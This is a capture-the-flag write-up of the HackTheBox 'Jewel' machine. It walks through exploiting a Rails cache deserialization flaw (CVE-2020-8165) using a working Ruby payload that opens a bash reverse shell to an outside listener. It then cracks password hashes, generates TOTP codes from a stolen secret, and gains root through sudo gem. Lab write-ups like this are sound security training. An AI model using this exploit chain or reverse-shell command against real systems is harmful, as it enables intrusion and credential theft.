Jewel - Write-up - HackTheBox

Information

Box#

Jewel

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap oath-toolkit rlwrap pwncat gtfoblookup

Network enumeration#

Port and service scan with nmap:

# Nmap 7.91 scan initiated Wed Feb 17 19:56:48 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.10.211
Nmap scan report for 10.10.10.211
Host is up (0.030s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 17 19:58:46 2021 -- 1 IP address (1 host up) scanned in 118.32 seconds

We have gitweb/2.20.1 on port 8000 and Phusion Passenger 6.0.6 on port 8080.

Web discovery#

On gitweb we can browse to the summary of the only repository which is hosting the source code of the blog and download a snapshot of it.

$ curl --output blog.tar.gz -J -L 'http://10.10.10.211:8000/gitweb/?p=.git;a=snapshot;h=5d6f436256c9575fbc7b1fb9621b18f0f8656741;sf=tgz'
$ tar xaf blog.tar.gz
$ cd .git-5d6f436

Source code analysis#

Let's install a ruby and bundle version matching the one specified in the Gemfile:

$ asdf install ruby 2.5.5
$ asdf local ruby 2.5.5
$ gem install bundler:1.17.3

It's not mandatory to analyse the source code but it will allow use to run the website is we want to do some test or even the run bundle outdated to check for outdated dependencies.

Before we do that, we can see in config.ru that the blog is a RoR app (using Ruby on Rails web framework).

Let's see if the project is up to date:

$ bundle outdated
...
Outdated gems included in the bundle:
  * actioncable (newest 6.1.3, installed 5.2.2.1)
  * actionmailer (newest 6.1.3, installed 5.2.2.1)
  * actionpack (newest 6.1.3, installed 5.2.2.1)
  * actionview (newest 6.1.3, installed 5.2.2.1)
  * activejob (newest 6.1.3, installed 5.2.2.1)
  * activemodel (newest 6.1.3, installed 5.2.2.1)
  * activerecord (newest 6.1.3, installed 5.2.2.1)
  * activestorage (newest 6.1.3, installed 5.2.2.1)
  * activesupport (newest 6.1.3, installed 5.2.2.1)
  * autoprefixer-rails (newest 10.2.4.0, installed 9.8.6.3)
  * bcrypt (newest 3.1.16, installed 3.1.15, requested ~> 3.1.7) in groups "default"
  * bootsnap (newest 1.7.2, installed 1.4.8) in groups "default"
  * bootstrap (newest 4.6.0, installed 4.5.2, requested ~> 4.5.0) in groups "default"
  * capybara (newest 3.35.3, installed 3.33.0) in groups "test"
  * childprocess (newest 4.0.0, installed 3.0.0)
  * coffee-rails (newest 5.0.0, installed 4.2.2, requested ~> 4.2) in groups "default"
  * concurrent-ruby (newest 1.1.8, installed 1.1.7)
  * erubi (newest 1.10.0, installed 1.9.0)
  * ffi (newest 1.14.2, installed 1.13.1)
  * i18n (newest 1.8.9, installed 1.8.5)
  * jbuilder (newest 2.11.2, installed 2.10.0, requested ~> 2.5) in groups "default"
  * jquery-rails (newest 4.4.0, installed 4.3.3, requested = 4.3.3) in groups "default"
  * listen (newest 3.4.1, installed 3.1.5, requested < 3.2, >= 3.0.5) in groups "development"
  * loofah (newest 2.9.0, installed 2.6.0)
  * mini_portile2 (newest 2.5.0, installed 2.4.0)
  * minitest (newest 5.14.3, installed 5.14.1)
  * msgpack (newest 1.4.2, installed 1.3.3)
  * nio4r (newest 2.5.5, installed 2.5.2)
  * nokogiri (newest 1.11.1, installed 1.10.10)
  * popper_js (newest 2.6.0, installed 1.16.0, requested = 1.16.0) in groups "default"
  * public_suffix (newest 4.0.6, installed 4.0.5)
  * puma (newest 5.2.1, installed 3.12.6, requested ~> 3.11) in groups "default"
  * rails (newest 6.1.3, installed 5.2.2.1, requested = 5.2.2.1) in groups "default"
  * railties (newest 6.1.3, installed 5.2.2.1)
  * rake (newest 13.0.3, installed 13.0.1)
  * redis (newest 4.2.5, installed 4.2.1, requested ~> 4.0) in groups "default"
  * regexp_parser (newest 2.0.3, installed 1.7.1)
  * sass-rails (newest 6.0.0, installed 5.1.0, requested ~> 5.0) in groups "default"
  * sprockets (newest 4.0.2, installed 3.7.2)
  * sprockets-rails (newest 3.2.2, installed 3.2.1)
  * thor (newest 1.1.0, installed 1.0.1)
  * tzinfo (newest 2.0.4, installed 1.2.7)
  * web-console (newest 4.1.0, installed 3.7.0) in groups "development"

Seems that all dependencies are very outdated. We can install bundler-audit, which is an equivalent for Ruby to npm audit in Nodejs, to check for CVE impacting the dependencies.

$ gem install bundler-audit
$ bundle-audit
Name: actionpack
Version: 5.2.2.1
Advisory: CVE-2020-8166
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/NOjKiGeXUgw
Title: Ability to forge per-form CSRF tokens given a global CSRF token
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1

Name: actionpack
Version: 5.2.2.1
Advisory: CVE-2020-8164
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/f6ioe4sdpbY
Title: Possible Strong Parameters Bypass in ActionPack
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1

Name: actionview
Version: 5.2.2.1
Advisory: CVE-2020-5267
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/55reWMM_Pg8
Title: Possible XSS vulnerability in ActionView
Solution: upgrade to >= 5.2.4.2, ~> 5.2.4, >= 6.0.2.2

Name: actionview
Version: 5.2.2.1
Advisory: CVE-2020-8167
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/x9DixQDG9a0
Title: CSRF Vulnerability in rails-ujs
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1

Name: activestorage
Version: 5.2.2.1
Advisory: CVE-2020-8162
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/PjU3946mreQ
Title: Circumvention of file size limits in ActiveStorage
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1

Name: activesupport
Version: 5.2.2.1
Advisory: CVE-2020-8165
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c
Title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1

Name: jquery-rails
Version: 4.3.3
Advisory: CVE-2019-11358
Criticality: Medium
URL: https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
Title: Prototype pollution attack through jQuery $.extend
Solution: upgrade to >= 4.3.4

Vulnerabilities found!

The one one activesupport seems to be the most promising because unmarshalling is a kind of deserialization that can lead to RCE:

Name: activesupport
Version: 5.2.2.1
Advisory: CVE-2020-8165
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c
Title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1

A deserialization of untrusted data vulnernerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.

Ref. CVE-2020-8165

We sure have a vulnerable version of Rails:

$ grep "'rails'" Gemfile
# Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
gem 'rails', '= 5.2.2.1'

The References section of CVE-2020-8165 page on NVD gives a link to a HackerOne report tagged as exploit in addition to the many mailing list.

By reading the H1 report, we can read:

This vulnerability effects application code that caches a string from an untrusted source using the raw: true option.

So let's find if the option is used in the code:

$ grep -rn 'raw: true' app
app/controllers/application_controller.rb:32:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
app/controllers/users_controller.rb:37:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}

app/controllers/users_controller.rb L32-L49

def update
  @user = User.find(params[:id])
  if @user && @user == current_user
    cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
    cache.delete("username_#{session[:user_id]}")
    @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
    if @user.update(user_params)
      flash[:success] = "Your account was updated successfully"
      redirect_to articles_path
    else
      cache.delete("username_#{session[:user_id]}")
      render 'edit'
    end
  else
    flash[:danger] = "Not authorized"
    redirect_to articles_path
  end
end

The update method will cache a key username_<user_id> using user_params[:username] which is user supplied and so untrusted. It will cache the value and then try to update the database but if it fails it will remove the cached value.

app/controllers/application_controller.rb L29-L40

def current_username
  if session[:user_id]
    cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
    @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
      @current_user = current_user
      @current_username = @current_user.username
    end
  else
    @current_username = "guest"
  end
  return @current_username
end

The key is also fetched with current_username method.

Let's see what is the format of an username to know if we can poison it.

$ grep -rn ':username' app
app/views/users/_form.html.erb:7:    <%= f.label :username %>
app/views/users/_form.html.erb:8:    <%= f.text_field :username, class: "form-control", placeholder: "Username", autofocus: true %>
app/views/users/edit.html.erb:10:    <%= f.label :username %>
app/views/users/edit.html.erb:11:    <%= f.text_field :username, class: "form-control", placeholder: "Username", autofocus: true %>
app/controllers/users_controller.rb:37:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
app/controllers/users_controller.rb:53:    params.require(:user).permit(:username, :email, :password)
app/models/user.rb:6: validates :username, presence: true, uniqueness: { case_sensitive: false }, length: { minimum: 3, maximum: 25 },

The user class must be defined in app/models/user.rb.

app/models/user.rb L1-L11

class User < ActiveRecord::Base
 has_many :articles
 has_secure_password
 VALID_USER_REGEX = /\A[\w\d]+\z/
 VALID_EMAIL_REGEX = /\A[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i
 validates :username, presence: true, uniqueness: { case_sensitive: false }, length: { minimum: 3, maximum: 25 },
                      format: { with: VALID_USER_REGEX }
 validates :email, presence: true, length: { maximum: 105 }, uniqueness: { case_sensitive: false },
                   format: { with: VALID_EMAIL_REGEX }
 before_save { self.email = email.downcase }
end

So the username must contains only alphanumeric characters and be 3 to 25 chars long. At first glance it looks impossible to poison the username with a malicious payload to corrupt the cache. But a more in depth analysis shows that we will be able to perform our deserialization to RCE.

Looking back at app/controllers/users_controller.rb the username is written into the cache without any control (what we just saw in app/models/user.rb are constraints on the database not the cache), then it will update the database but fails because there username format won't we respected and so it will trigger the cache deletion. But the deletion won't work because as the payload will be evaluated it will crash the app (500 error) so the cached value will stay stored and be retrieved on a subsequent fetch request.

Web exploitation#

Since it's an authenticated vulnerability (yes to update your username you need an account), let's register one on the blog (http://10.10.10.211:8080/signup).

We can edit the username at this address http://10.10.10.211:8080/users/19/edit but before that we'll need to craft a payload.

Let's retrieve the PoC from the H1 report and modify it a little bit to include a reverse shell and url-encode the payload:

require 'erb'
require 'rails/all'
require 'uri'

remote_code = <<-RUBY
`/bin/bash -c "bash -i &>/dev/tcp/10.10.14.125/9999 0>&1"`
RUBY

erb = ERB.allocate
erb.instance_variable_set(:@src, remote_code)
erb.instance_variable_set(:@lineno, 0)
deprecation = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
exploit_data = Marshal.dump(deprecation)

puts URI.encode_www_form(username: exploit_data)

Lets' build the payload:

$ bundle exec ruby exploit.rb
username=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%07%3A%09%40srcI%22B%25x%28%2Fbin%2Fbash+-c+%22bash+-i+%26%3E%2Fdev%2Ftcp%2F10.10.14.125%2F9999+0%3E%261%22%29%0A%06%3A%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T

Intercept traffic with Burp and replace the username with the payload.

POST /users/19 HTTP/1.1
Host: 10.10.10.211:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.211:8080/users/19/edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 584
Origin: http://10.10.10.211:8080
Connection: close
Cookie: _session_id=39429a031ee66edae6af06579185eb80
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&_method=patch&authenticity_token=tlufjzm%2FbY9fBxS%2Bu1QqkY%2BoaSXn3cEL40I1tGF6g4lYvmhcsv8i5NKjpDuOnn6vOABZIzmfLrWS%2Fy7vjgEAsQ%3D%3D&user%5Busername%5D=username=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%07%3A%09%40srcI%22B%25x%28%2Fbin%2Fbash+-c+%22bash+-i+%26%3E%2Fdev%2Ftcp%2F10.10.14.125%2F9999+0%3E%261%22%29%0A%06%3A%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T&commit=Update+User

We retrieve the shell on our listener:

$ rlwrap pwncat -l 9999 -vv
INFO: Listening on :::9999 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.211:51176 (family 2/IPv4, TCP)
bash: cannot set terminal process group (811): Inappropriate ioctl for device
bash: no job control in this shell
bill@jewel:~/blog$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)

bill@jewel:~$ cat user.txt
02d71a6b8858cc2812ee368bc1ab355b

Elevation of Privilege (EoP): from bill to root#

Let's get an interactive shell:

bill@jewel:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'

We can't use sudo -l because we don't know bill's password.

Let's find backup or config files in hope to discover passwords:

bill@jewel:~$ find / -name *.sql -type f 2>/dev/null
/var/backups/dump_2020-08-27.sql
/usr/share/postgresql/11/extension/citext--1.4--1.5.sql
...

bill@jewel:~$ grep -n password /var/backups/dump_2020-08-27.sql
132:    password_digest character varying
229:COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;

Let's dig around line 229:

--
-- Data for Name: users; Type: TABLE DATA; Schema: public; Owner: rails_dev
--

COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
2       jennifer        jennifer@mail.htb       2020-08-27 05:44:28.551735      2020-08-27 05:44:28.551735      $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
1       bill    bill@mail.htb   2020-08-26 10:24:03.878232      2020-08-27 09:18:11.636483      $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
\.

Let's ask my old pall John if he knows them:

jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
$ john hashes.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=bcrypt

I found bill's password but not jennifer one.

bill / spongebob

Trying sudo again we are asked for a verification code, it reminds me when I set up OTP with libpam-google-authenticator for a SSH server.

We can find bill's OTP private key in his home directory:

bill@jewel:~$ cat .google_authenticator
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH

I was able to generate a one time password with oath-toolkit:

$ oathtool -b --totp 2UQI3R52WFCLE6JTLDCSJYMJH4
297774

But I kept having this error while trying to auth:

Error "Operation not permitted" while writing config

TOTP is time based and I'm not in the same timezone than the box:

# box
Sun 21 Feb 20:45:21 GMT 2021
# my machine
Sun Feb 21 09:35:41 PM CET 2021

Let's print the box time in RFC format:

$ date --rfc-3339=seconds
2021-02-21 20:50:55+00:00

So I tried to create the OTP code like that but it kept failing:

$ oathtool -b --totp 2UQI3R52WFCLE6JTLDCSJYMJH4 -S '2021-02-21 20:54:31+00:00'
626503

Let's try another method: setting the same time on our machine. The box timezone:

$ timedatectl
               Local time: Sun 2021-02-21 21:08:22 GMT
           Universal time: Sun 2021-02-21 21:08:22 UTC
                 RTC time: Sun 2021-02-21 21:08:21
                Time zone: Europe/London (GMT, +0000)
System clock synchronized: no
              NTP service: active
          RTC in local TZ: no

Set up the time on my machine:

$ sudo timedatectl set-timezone Europe/London
$ sudo timedatectl set-ntp false
$ sudo timedatectl set-time 21:15:07

Finaly I can run it:

$ sudo -l

Matching Defaults entries for bill on jewel:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    insults

User bill may run the following commands on jewel:
    (ALL : ALL) /usr/bin/gem

PS: it's not an issue if there is a desync of a few seconds because the OTP window is 17 codes so we can have a max desync of 17 x 30 sec.

Let's see the EoP for gem:

$ gtfoblookup linux sudo gem
gem:

    sudo:

        Description: This requires the name of an installed gem to be
                     provided (`rdoc` is usually installed).
        Code: sudo gem open -e "/bin/sh -c /bin/sh" rdoc

My paylmaod will be

sudo /usr/bin/gem open -e "/bin/sh -c /bin/bash" bundler

Let's get root:

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt
96a8f2a385ce2c384353e6998dc3fdac
Share